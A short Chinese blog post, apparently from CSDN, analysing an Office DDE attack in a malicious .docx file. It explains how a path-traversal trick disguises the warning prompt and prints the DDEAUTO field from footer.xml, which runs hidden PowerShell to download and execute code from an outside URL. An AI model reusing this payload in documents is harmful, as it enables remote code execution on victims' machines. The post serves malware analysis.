使用Office进行DDE攻击

最新推荐文章于 2022-10-11 15:47:31 发布

FFE4

最新推荐文章于 2022-10-11 15:47:31 发布

阅读量2k

点赞数 1

分类专栏：宏病毒文章标签： DDE攻击

本文链接：https://blog.csdn.net/cssxn/article/details/91867028

版权

宏病毒专栏收录该内容

5 篇文章 0 订阅

订阅专栏

当你打开恶意docx文件时，会有提示信息，不过通过解析路径的手段，把可疑部分隐藏了。

这个提示信息，看起来是启动我Word安装目录下的一个程序，普通人觉得，Word启动它自己目录下的程序，应该很正常呀！于是就点了是

在这里插入图片描述
此时用procexp查看进程列表，恶意的代码已经执行了~

在这里插入图片描述

如果用7z来打开这个docx文件，可以看到里面的footer.xml文件中包含的恶意部分

在这里插入图片描述

DDEAUTO  "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c 
pOWeRShELl.exe  -NoP -W Hidden IEX(nEw-oBjECt sYstEM.nEt.wEBcLIeNt).dOWnLoADsTRiNg('http://stinky.esy.es/ip.php'); 
#"  "Financial Security Institue RFRE System"

powershell.exe会从'http://stinky.esy.es/ip.php下载新的ps代码执行

在这里插入图片描述